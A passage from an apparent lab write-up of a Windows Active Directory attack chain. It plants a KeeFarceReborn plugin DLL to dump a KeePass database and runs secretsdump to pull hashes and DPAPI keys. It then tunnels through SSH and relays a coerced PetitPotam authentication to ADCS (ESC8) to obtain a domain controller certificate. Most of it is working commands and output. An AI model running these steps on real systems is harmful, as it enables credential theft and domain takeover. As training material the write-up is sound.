However, sasrv200 does not have any special privileges that we could leverage for escalation on the system. It is a member of the local group ftpadmins.


One registry key that is always worth enumerating is WinLogon, since it can sometimes store credentials used for automatic logins, scheduled tasks, or services. Finding valid credentials here could give us a direct path to privilege escalation or lateral movement.


kaiju\sasrv200@BERSRV200 E:\Public>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    CachedLogonsCount    REG_SZ    10
    DebugServerCommand    REG_SZ    no
    DefaultDomainName    REG_SZ    kaiju.vl
    DefaultUserName    REG_SZ    clare.frost
...[snip]...
    LastLogOffEndTimePerfCounter    REG_QWORD    0x48fa3e2ee
    ShutdownFlags    REG_DWORD    0x8000022b
    AutoAdminLogon    REG_SZ    1
    AutoLogonSID    REG_SZ    S-1-5-21-1202327606-3023051327-2528451343-1254
    LastUsedUsername    REG_SZ    clare.frost

...[snip]...

kaiju\sasrv200@BERSRV200 E:\Public>

And here we find something interesting: AutoLogon is configured for the clare.frost user (the same one we saw in the C:\Users directory). However, to retrieve the password we need system-level access, since it is stored in encrypted form and can only be decrypted by an administrator. If we manage to gain system-level access on this machine, we could use a tool like DecryptAutoLogon.exe to retrieve the password in plaintext.


KeePass


Upon running tree on the E:\ drive with the new user, we noticed that we could access folders that were previously inaccessible.


PS E:\> tree   
Folder PATH listing for volume Data
Volume serial number is A494-31FF
E:.
├───Private
   └───Backups
├───Program Files
   ├───FileZilla Server
      └───Logs
   └───PuTTY
└───Public
    ├───Configs
       └───FileZilla
    ├───Licenses
    ├───Passwords
    ├───Software
       ├───Installers
       └───KeePass2
           ├───Database
           ├───Plugins
           └───XSL
    └───Temp
        └───_Logs
PS E:\>

Among the results, we can see the Software folder, which was previously inaccessible. This folder contains the installer and program files for KeePass. Inside the Database directory, we found a file named it.kdbx:


PS E:\Public\Software\KeePass2\Database> dir


    Directory: E:\Public\Software\KeePass2\Database


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        12/17/2023   7:38 AM           2126 it.kdbx


PS E:\Public\Software\KeePass2\Database>

We could try cracking it by converting it with ssh2john and then running a brute-force attack. However, it won’t crack with common wordlists (such as rockyou.txt).


I ran Get-Process and noticed that KeePass was actively running:


PS E:\> get-process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
...[snip]...
    370      29    32596      53712              2376   1 KeePass
...[snip]...


PS E:\>

However, when I ran it again, it no longer appeared in the command output. This suggests that someone (likely through a scheduled task) is running KeePass and accessing a database (which could explain why there are AutoLogon credentials in WinLogon). After running icacls on the KeePass2 folder, I noticed that ftpadmins have full privileges over it:


PS E:\Public\Software> icacls .\KeePass2\
.\KeePass2\ BUILTIN\Administrators:(F)
            BUILTIN\Administrators:(I)(OI)(CI)(F)
            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
            CREATOR OWNER:(I)(OI)(CI)(IO)(F)
            BUILTIN\Users:(I)(OI)(CI)(RX)
            BERSRV200\ftpadmins:(I)(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files
PS E:\Public\Software>

This means we could leverage sasrv200's membership in this group to gain write access to this folder. But how can this help?


Well, we could modify DLL files, and as we saw earlier, someone is running KeePass periodically, which would trigger our malicious code and give us access as the user executing it. However, we don’t even know who that user is. As we noticed at the beginning, one password file mentioned that the administrator password was moved to a KeePass database, so why not leverage our privileges to dump the KeePass database that is being opened?


KeeFarceReborn


There are many ways to dump credentials from KeePass. Some involve using an injector to load a DLL into the KeePass process; however, most of these techniques are easily detected. Even though there’s no AV in this chain lab, I won’t take that approach. Instead, I’ll use the KeeFarceReborn KeePass plugin, which is easier to reproduce in this case since we only need to place the plugin DLL file into the Plugins folder.


This repository does not include a prebuilt binary, so we have to compile it manually (which is generally the better option) using Visual Studio. I downloaded the repository as a ZIP file on my Windows VM.


Then, open the KeeFarceRebornPlugin.sln file with Visual Studio. Initially, you’ll notice several errors in the code. This happens because some dependencies are missing, so we need to add the KeePass.exe binary reference to the project.


Let’s add the KeePass.exe reference to the project. I’m not entirely sure whether the KeePass.exe file needs to match the victim’s version exactly, or if it just needs to be the same file. In my case, I simply installed the same version that the victim machine was running, which is 2.34.


You can check which version is installed by reading the KeePass.exe.config file in the KeePass2 folder:


PS E:\Public\Software\KeePass2> cat KeePass.exe.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
...[snip]...
                        <dependentAssembly>
                                <assemblyIdentity name="KeePass"
                                        publicKeyToken="fed2ed7716aecf5c"
                                        culture="neutral" />
                                <bindingRedirect oldVersion="2.0.9.0-2.34.0.0"
                                        newVersion="2.34.0.15991" />
                        </dependentAssembly>
...[snip]...
</configuration>

As you can see, the newVersion value is 2.34.0.15991, which corresponds to version 2.34.0."


Now right-click the project, select Add > Reference…


Then, browse for the KeePass.exe binary in your installation folder. Once added, you’ll see that the errors disappear all required dependencies are satisfied.


First, I removed every MessageBox.show() line, since it creates a Windows prompt that pauses execution until a user clicks a button. You only need to comment out lines 30, 36, and 75.


Next, I modified the exportFilePath variable, which defines the location where the dump will be saved. I set it to C:\\tmp\\log.txt. In this case, I had previously created the C:\\tmp directory.


After that, we need to build the project using the Release profile, otherwise it won’t run properly on the victim machine.


Finally, build the project:


Once compiled, I copied the resulting DLL to my Linux VM, and then uploaded it to the victim machine:


elswix@ubuntu$ scp -i sasrv200 KeeFarceRebornPlugin.dll sasrv200@BERSRV200.kaiju.vl:E:\\Public\\Software\\KeePass2\\Plugins\\KeeFarceRebornPlugin.dll
KeeFarceRebornPlugin.dll                                                                      100% 6144    25.4KB/s   00:00

It worked! Now we just have to wait until the user runs KeePass and opens the database, so the plugin can extract the credentials.


PS C:\tmp> ls


    Directory: C:\tmp


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/12/2025   6:57 AM          11427 log.txt


PS C:\tmp>

Great! The dump was created and now we can read plaintext passwords. Let's download it on my Linux VM and start to inspect the content.


After applying some filters, we found that there's an entry that corresponds to the Administrator username and has a password:


elswix@ubuntu$ cat log.txt | grep "Administrator" -B 15
                    </String>
                    <String>
                        <Key>Password</Key>
                        <Value ProtectInMemory="True">Na*********n25</Value>
                    </String>
                    <String>
                        <Key>Title</Key>
                        <Value>BERSRV200</Value>
                    </String>
                    <String>
                        <Key>URL</Key>
                        <Value />
                    </String>
                    <String>
                        <Key>UserName</Key>
                        <Value>Administrator </Value>

The credentials are Administrator:Na*********n25. Let’s see if we can use them to authenticate against the domain. We can use netexec to verify whether these credentials are valid.


Socks proxy


As we saw earlier in the port scan, there weren’t many ports exposed externally. However, when listing the open ports on the victim machine, plenty of them were listening:


kaiju\sasrv200@BERSRV200 C:\Users\sasrv200>netstat -ano 

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING       3880
  TCP    0.0.0.0:22             0.0.0.0:0              LISTENING       2088
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       888
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       72
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
...[snip]...

kaiju\sasrv200@BERSRV200 C:\Users\sasrv200>

But if we try to connect over SMB (port 445), for example, the service appears unavailable:


elswix@ubuntu$ nxc smb BERSRV200.kaiju.vl --verbose
[15:22:59] INFO     Socket info: host=10.10.221.54, hostname=BERSRV200.kaiju.vl, kerberos=False, ipv6=False,  connection.py:165
                    link-local ipv6=False                                                                                       
           INFO     Creating SMBv3 connection to 10.10.221.54                                                        smb.py:606
[15:23:01] INFO     Failed to create connection object for target 10.10.221.54, exiting...                    connection.py:230

This suggests that some firewall rules are preventing us from accessing internal ports externally. To bypass this restriction, let’s set up a SOCKS proxy:


elswix@ubuntu$ ssh sasrv200@BERSRV200.kaiju.vl -i sasrv200 -D 1080
Microsoft Windows [Version 10.0.20348.2159]
(c) Microsoft Corporation. All rights reserved.

kaiju\sasrv200@BERSRV200 C:\Users\sasrv200>

This starts a SOCKS proxy on port 1080. Next, configure the /etc/proxychains.conf file like this:


elswix@ubuntu$ cat /etc/proxychains.conf
...[snip]...
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
#socks4    127.0.0.1 9050
socks5 127.0.0.1 1080

If everything is configured correctly, we should now be able to communicate with ports that were previously inaccessible from the outside:


elswix@ubuntu$ proxychains4 -q nxc smb ../nmap/targets.txt
proxychains4 -q nxc smb ../nmap/targets.txt
SMB         10.10.221.54   445    BERSRV200        [*] Windows Server 2022 Build 20348 x64 (name:BERSRV200) (domain:kaiju.vl) (signing:False) (SMBv1:False)
SMB         10.10.221.53   445    BERSRV100        [*] Windows Server 2022 Build 20348 x64 (name:BERSRV100) (domain:kaiju.vl) (signing:True) (SMBv1:False)
SMB         10.10.221.55   445    BERSRV105        [*] Windows Server 2022 Build 20348 x64 (name:BERSRV105) (domain:kaiju.vl) (signing:True) (SMBv1:False)
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Perfect, the other services are now accessible.


In this case, I’ll try authenticating against BERSRV200, but you could also test them on other machines, such as the DC we identified earlier (BERSRV100), since they all belong to the same domain.


elswix@ubuntu$ proxychains4 -q nxc smb BERSRV200.kaiju.vl -u 'administrator' -p 'Na*********n25'
SMB         10.10.221.54   445    BERSRV200        [*] Windows Server 2022 Build 20348 x64 (name:BERSRV200) (domain:kaiju.vl) (signing:False) (SMBv1:False)
SMB         10.10.221.54   445    BERSRV200        [-] kaiju.vl\administrator:Na*********n25 STATUS_LOGON_FAILURE

However, it didn’t work. Maybe this password belongs to the local Administrator account rather than the domain Administrator. Let’s try again using the --local-auth parameter:


elswix@ubuntu$ proxychains4 -q nxc smb BERSRV200.kaiju.vl -u 'administrator' -p 'Na*********n25' --local-auth
SMB         10.10.221.54   445    BERSRV200        [*] Windows Server 2022 Build 20348 x64 (name:BERSRV200) (domain:BERSRV200) (signing:False) (SMBv1:False)
SMB         10.10.221.54   445    BERSRV200        [+] BERSRV200\administrator:Na*********n25 (Pwn3d!)

Pwn3d! This password belongs to the local administrator, now we have system privileges on BERSRV200.


At this point, we could obtain a shell using tools like psexec.py or smbexec.py, or via SSH:


elswix@ubuntu$ ssh administrator@BERSRV200.kaiju.vl
administrator@BERSRV200.kaiju.vl's password: 
Microsoft Windows [Version 10.0.20348.2159]
(c) Microsoft Corporation. All rights reserved.

administrator@BERSRV200 C:\Users\Administrator>

You can also read the second flag:


administrator@BERSRV200 C:\Users\Administrator>type Desktop\flag.txt
VL{b5********************353e}
administrator@BERSRV200 C:\Users\Administrator>

Now, let's run secretsdump to extract credentials and other valuable information directly from the system’s Security Account Manager (SAM) and LSA secrets. This will give us a better view of the accounts and hashes we can use for further attacks.


elswix@ubuntu$ proxychains4 secretsdump.py BERSRV200/administrator:Na*********n25@BERSRV200.kaiju.vl
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.221.54:445  ...  OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x9a5fc7f0da68261a7fff3339b24df15f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5a********************cbdb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d********************089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cf**********0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:bc**********34:::
backup:1002:aad3b435b51404eeaad3b435b51404ee:3fe84dbae69d1ce96d3babfb58a848cb:::
[*] Dumping cached domain logon information (domain/username:hash)
KAIJU.VL/sasrv200:$DCC2$10240#sasrv200#**********: (2024-01-30 20:13:30)
KAIJU.VL/Clare.Frost:$DCC2$10240#Clare.Frost#**********: (2024-01-21 15:01:24)
KAIJU.VL/Administrator:$DCC2$10240#Administrator#**********: (2024-01-21 15:17:37)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
KAIJU\BERSRV200$:aes256-cts-hmac-sha1-96:**********
KAIJU\BERSRV200$:aes128-cts-hmac-sha1-96:**********
KAIJU\BERSRV200$:des-cbc-md5:**********
KAIJU\BERSRV200$:plain_password_hex:**********
KAIJU\BERSRV200$:aad3b435b51404eeaad3b435b51404ee:**********:::
[*] DefaultPassword 
kaiju.vl\clare.frost:**********
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x2aa75aaaf206bfaee9c962443bdf9c2b6f3dca59
dpapi_userkey:0x43b9ced8e9f1fe8ccad60dbdff5563d9ce01503b
[*] _SC_filezilla-server 
kaiju.vl\sasrv200:**********
[*] Cleaning up... 
[*] Stopping service RemoteRegistry

As observed, all password hashes were extracted from SAM and LSA. You might also notice that clare.frost’s password was recovered, this came from the AutoLogon credentials.


Now that we have domain credentials, we can begin enumerating the domain. For example, we could use bloodhound-python to gather information about users, groups, ACLs, and more:


elswix@ubuntu$ proxychains4 bloodhound-python -c all -u clare.frost -p ********** --zip -ns 10.10.221.53 -d kaiju.vl -dc BERSRV100.kaiju.vl 
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: kaiju.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: BERSRV100.kaiju.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: BERSRV100.kaiju.vl
INFO: Found 207 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: BERSRV105.kaiju.vl
INFO: Querying computer: BERSRV200.kaiju.vl
INFO: Querying computer: BERSRV100.kaiju.vl
INFO: Done in 00M 50S
INFO: Compressing output into 20250912164937_bloodhound.zip

At this point, you can start the Neo4j database and import this zip file into BloodHound.


Now, we can list Domain Users for example:


Okay, there's plenty of them, 205 to be exact. You can also list domain computers:


Interestingly, just appears BERSRV200 (the server we're in). Turns out that the other server (not the DC we have identified earlier, because DCs are not member of domain computers) is another DC, specifically, a Read-Only Domain Controller (which indicates that is just a replication DC). Keep this in mind, because it will be necessary for the escalation path.


You can continue enumerating with BloodHound, but at this point I'll just continue.


Active Directory Certificate Services


One of the main reasons I wanted to write this is because of the ADCS abuse scenario in this chain. Active Directory Certificate Services (ADCS) is Microsoft’s public key infrastructure (PKI) implementation, which integrates tightly with Active Directory and is often used to issue and manage digital certificates within a domain. Misconfigurations in ADCS can be abused to escalate privileges, often through mechanisms like Kerberos authentication.


We’ve already covered this topic in detail in my article, where I explain how ADCS works and specifically how Kerberos authentication can be exploited. Here, I just want to show you how to perform the attack through ProxyChains, using a slightly different approach.


When enumerating ADCS instances with netexec, we found the following:


elswix@ubuntu$ proxychains4 -q nxc ldap BERSRV100.kaiju.vl -u clare.frost -p ********** -M adcs
LDAP        10.10.221.53   389    BERSRV100        [*] Windows Server 2022 Build 20348 (name:BERSRV100) (domain:kaiju.vl)
LDAP        10.10.221.53   389    BERSRV100        [+] kaiju.vl\clare.frost:********** 
ADCS        10.10.221.53   389    BERSRV100        [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        10.10.221.53   389    BERSRV100        Found PKI Enrollment Server: BERSRV100.kaiju.vl
ADCS        10.10.221.53   389    BERSRV100        Found CN: kaiju-CA
ADCS        10.10.221.53   389    BERSRV100        Found PKI Enrollment WebService: https://bersrv100.kaiju.vl/kaiju-CA_CES_Kerberos/service.svc/CES
ADCS        10.10.221.53   389    BERSRV100        Found PKI Enrollment Server: BERSRV105.kaiju.vl
ADCS        10.10.221.53   389    BERSRV100        Found CN: kaiju-sub-CA

ADCS is deployed in the environment, there are two Certification Authorities (CAs) and there is an Enrollment WebService available. This is interesting because it could potentially be vulnerable to ESC8, which I’ve explained in detail in my article.


You can use certipy to see if it reports the instance vulnerable to ESC8:


elswix@ubuntu$ proxychains4 certipy find -vulnerable -target-ip BERSRV100.kaiju.vl -u clare.frost -p ************
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.221.53:636  ...  OK
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 2 certificate authorities
[*] Found 22 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
...[snip]...
[*] Saving text output to '20250912173401_Certipy.txt'
[*] Wrote text output to '20250912173401_Certipy.txt'
[*] Saving JSON output to '20250912173401_Certipy.json'
[*] Wrote JSON output to '20250912173401_Certipy.json'

Now, let's read the output file 20250912173401_Certipy.txt:


elswix@ubuntu$ cat 20250912173401_Certipy.txt
Certificate Authorities
  0
    CA Name                             : kaiju-sub-CA
    DNS Name                            : BERSRV105.kaiju.vl
    Certificate Subject                 : CN=kaiju-sub-CA, DC=kaiju, DC=vl
    ...[snip]...
    Permissions
      Owner                             : KAIJU.VL\Administrators
      Access Rights
        ManageCa                        : KAIJU.VL\Administrators
                                          KAIJU.VL\Domain Admins
                                          KAIJU.VL\Enterprise Admins
        ManageCertificates              : KAIJU.VL\Administrators
                                          KAIJU.VL\Domain Admins
                                          KAIJU.VL\Enterprise Admins
        Enroll                          : KAIJU.VL\Authenticated Users
    [!] Vulnerabilities
      ESC8                              : Web Enrollment is enabled over HTTP.
  1
    CA Name                             : kaiju-CA
    DNS Name                            : BERSRV100.kaiju.vl
    Certificate Subject                 : CN=kaiju-CA, DC=kaiju, DC=vl
...[snip]...
    [!] Vulnerabilities
      ESC8                              : Web Enrollment is enabled over HTTP.

It seems that we can exploit ESC8.


Domain Escalation - ESC8


In short, ESC8 abuses the Certificate Enrollment WebService and Certificate Enrollment Policy Web Service, which allow domain users to request certificates over HTTP/HTTPS. If these services are misconfigured (for example, allowing authentication with NTLM or exposing them externally), we can relay authentication to the enrollment service and obtain a valid certificate on behalf of a victim. That certificate can then be used for Kerberos authentication (via PKINIT), effectively allowing us to impersonate the victim and access domain resources.


Since we now have valid domain credentials, we could use tools like PetitPotam to trigger an NTLM authentication from the machine account of any computer, including Domain Controllers. We can then relay this authentication to the Certificate Enrollment Web Service (CES) endpoint, which would allow us to generate a PFX certificate. That certificate can later be used for authentication via PKINIT.


However, we have an obstacle: due to firewall rules, there’s no outbound connection to our machine. We already solved inbound connections using ProxyChains, but outbound traffic can’t be handled in the same way.


This means we cannot directly trigger authentication against our attacker machine. Instead, we need to trigger authentication to another domain computer we control and then redirect that traffic back to us through an SSH tunnel, avoiding the firewall restriction.


Here’s where the combination of Remote Port Forwarding and Port Bending comes into play:


  • With SSH Remote Port Forwarding, we can open a listener on the victim machine (for example, on port 8000). Any traffic sent to that port will be forwarded through the SSH tunnel to our attacker machine. In our case, port 8000 on the victim will map to port 445 on our attacker machine.


  • The challenge is that SMB traffic won’t normally be sent to port 8000. This is where Port Bending steps in. By using a tool like StreamDivert, we can intercept SMB traffic coming from a specific IP address and “bend” it so that instead of going to the real port 445, it gets redirected locally to port 8000.


  • Once redirected, SSH takes care of forwarding that traffic to our attacker machine, effectively tunneling SMB communication through a port that the firewall does allow.


In other words, Port Bending allows us to locally reroute restricted SMB traffic into the SSH Remote Port Forwarding channel, bypassing the outbound firewall limitation.


So, what’s our strategy? We’re going to do the following: first, set up SSH remote port forwarding to open port 8000 on the victim machine, listening for connections. Those connections will then be redirected to our attacker machine on port 445, where ntlmrelayx will be running. Next, we’ll configure StreamDivert to perform PortBending by redirecting SMB connections coming from BERSRV100 (the DC we’ll force to authenticate against BERSRV200, the machine we control) to local port 8000. Since port 8000 is already bound to the SSH remote forwarding, the connection will finally be redirected to our attacker machine on port 445.


First, let's set up the Remote Port Forwarding tunnel:


elswix@ubuntu$ sshpass -p 'Na**********n25' ssh administrator@BERSRV200.kaiju.vl -R 8000:127.0.0.1:445 -D 1080
Microsoft Windows [Version 10.0.20348.2159]
(c) Microsoft Corporation. All rights reserved.

administrator@BERSRV200 C:\Users\Administrator>

Then, let's extract all the StreamDivert files onto the victim machine:


PS C:\tmp> dir


    Directory: C:\tmp


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/12/2025  11:09 AM             41 config.txt
-a----         9/12/2025  11:11 AM          11427 log.txt
-a----         9/12/2025  10:51 AM         659456 StreamDivert.exe
-a----         9/12/2025  11:02 AM       10055680 StreamDivert.pdb
-a----         9/12/2025  10:56 AM          47104 WinDivert.dll
-a----         9/12/2025  11:01 AM          75952 WinDivert32.sys
-a----         9/12/2025  10:55 AM          90288 WinDivert64.sys


PS C:\tmp>

To run this, you need Administrator or NT AUTHORITY\SYSTEM privileges, since setting up these redirections requires elevated access. It’s important to note that the config.txt file must follow the exact format expected, otherwise, the program won’t parse it correctly, and the port bending will fail, which can quickly turn into a headache.


For example, I created mine using:


PS C:\tmp> [System.IO.File]::WriteAllBytes("config.txt", [System.Text.Encoding]::ASCII.GetBytes("tcp < 445 10.10.221.53 -> 127.0.0.1 8000")) 
PS C:\tmp> ls


    Directory: C:\tmp


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/12/2025   5:48 PM             41 config.txt
-a----         9/12/2025   5:44 PM         659456 StreamDivert.exe
-a----         9/12/2025   5:44 PM       10055680 StreamDivert.pdb
-a----         9/12/2025   5:44 PM          47104 WinDivert.dll
-a----         9/12/2025   5:44 PM          75952 WinDivert32.sys
-a----         9/12/2025   5:44 PM          90288 WinDivert64.sys


PS C:\tmp>

So, what does this configuration do?


tcp < 445 10.10.221.53 -> 127.0.0.1 8000

In short, any SMB traffic coming from 10.10.221.53 (the BERSRV100 DC) will be redirected to local port 8000. That port is bound to an SSH tunnel using remote port forwarding, which then forwards the connection from local port 8000 to port 445 on my attacker machine.


Now, let's run StreamDivert.exe:


PS C:\tmp> .\StreamDivert.exe .\config.txt -f
[*] Modifying firewall..
[*] Authorized application C:\tmp\StreamDivert.exe is now enabled in the firewall.

[*] Parsing config file...
[*] Parsed 1 inbound and 0 outbound relay entries.
[*] Starting packet diverters...
[*] InboundTCPDivertProxy(445:?) Start
[*] InboundTCPDivertProxy(445:61317) Start
[*] InboundTCPDivertProxy(445:61317) tcp and ((tcp.SrcPort == 61317) or (tcp.DstPort == 445 and ip.SrcAddr == 10.10.221.53))
[*] InboundUDPDivertProxy() Start
[*] InboundUDPDivertProxy() udp and ()
[-] InboundUDPDivertProxy() failed to open the WinDivert device (87)
[*] InboundUDPDivertProxy() Stop
[*] InboundICMPDivertProxy() Start
[*] InboundICMPDivertProxy() false
[*] OutboundDivertProxy() Start
[*] OutboundDivertProxy() ()
[-] OutboundDivertProxy() failed to open the WinDivert device (87)
[*] OutboundDivertProxy() Stop

Apparently, the config file was parsed successfully, and the InboundTCPDivertProxy is now running properly. On my attacker machine, I’ll start ntlmrelayx.py with the ADCS module, specifying the BERSRV105.kaiju.vl enrollment web service. In this case, you need to perform the authentication using the BERSRV100$ account, otherwise, you won’t be able to DCSync, since Read-Only Domain Controller accounts lack the Replicating Directory Changes and Replicating Directory Changes All privileges.


Since we’re reaching the internal services through SOCKS proxies, we need to run ntlmrelayx with proxychains:


root@ubuntu# proxychains4 ntlmrelayx.py -t http://BERSRV100.kaiju.vl --adcs -smb2support --template DomainController
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled

[*] Servers started, waiting for connections

Note: Make sure to specify the DomainController template with the --template parameter; otherwise, the CSR will fail. This happens because you’re trying to enroll using a DomainController account, and by default, ntlmrelayx will request the Machine template whenever the authentication comes from a machine account.


Now, let’s run PetitPotam. Remember that the listener IP should be BERSRV200, since that’s where the port bending takes place. If you specify your attacker machine instead, you won’t receive the authentication due to the outbound firewall blocking rules.


elswix@ubuntu$ proxychains4 python ~/tools/PetitPotam/PetitPotam.py -d kaiju.vl -u clare.frost -p ************ BERSRV200.kaiju.vl BERSRV100.kaiju.vl
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17


              ___            _        _      _        ___            _                     
             | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __   
             |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \  
            _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_| 
          _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| 
          "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 

              PoC to elicit machine account authentication via some MS-EFSRPC functions
                                      by topotam (@topotam77)

                     Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN



Trying pipe lsarpc
[-] Connecting to ncacn_np:BERSRV100.kaiju.vl[\PIPE\lsarpc]
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.221.53:445  ...  OK
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!

And it worked — ntlmrelayx received the authentication, relayed it to the BERSRV105 enrollment web service, and successfully obtained a certificate, as shown below:


elswix@ubuntu$ proxychains4 ntlmrelayx.py -t http://BERSRV105.kaiju.vl/certsrv/certfnsh.asp --adcs -smb2support --template DomainController
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 127.0.0.1, attacking target http://BERSRV105.kaiju.vl
[-] Unsupported MechType 'MS KRB5 - Microsoft Kerberos 5'
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  bersrv105.kaiju.vl:80  ...  OK
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://BERSRV105.kaiju.vl as KAIJU/BERSRV100$ SUCCEED
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] SMBD-Thread-7 (process_request_thread): Received connection from 127.0.0.1, attacking target http://BERSRV105.kaiju.vl
[-] Unsupported MechType 'MS KRB5 - Microsoft Kerberos 5'
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  bersrv105.kaiju.vl:80  ...  OK
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://BERSRV105.kaiju.vl as KAIJU/BERSRV100$ SUCCEED
[*] Skipping user BERSRV100$ since attack was already performed
[*] GOT CERTIFICATE! ID 4
[*] Writing PKCS#12 certificate to ./BERSRV100$.pfx
[*] Certificate successfully written to file

As you can see, the generated certificate was saved as BERSRV100$.pfx. With this in hand, we can now authenticate against the DC via PKINIT by providing our new certificate with certipy:


elswix@ubuntu$ proxychains4 certipy auth -pfx BERSRV100\$.pfx -domain kaiju.vl -dc-ip 10.10.221.53
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN DNS Host Name: 'BERSRV100.kaiju.vl'
[*]     Security Extension SID: 'S-1-5-21-1202327606-3023051327-2528451343-1000'
[*] Using principal: 'bersrv100$@kaiju.vl'
[*] Trying to get TGT...
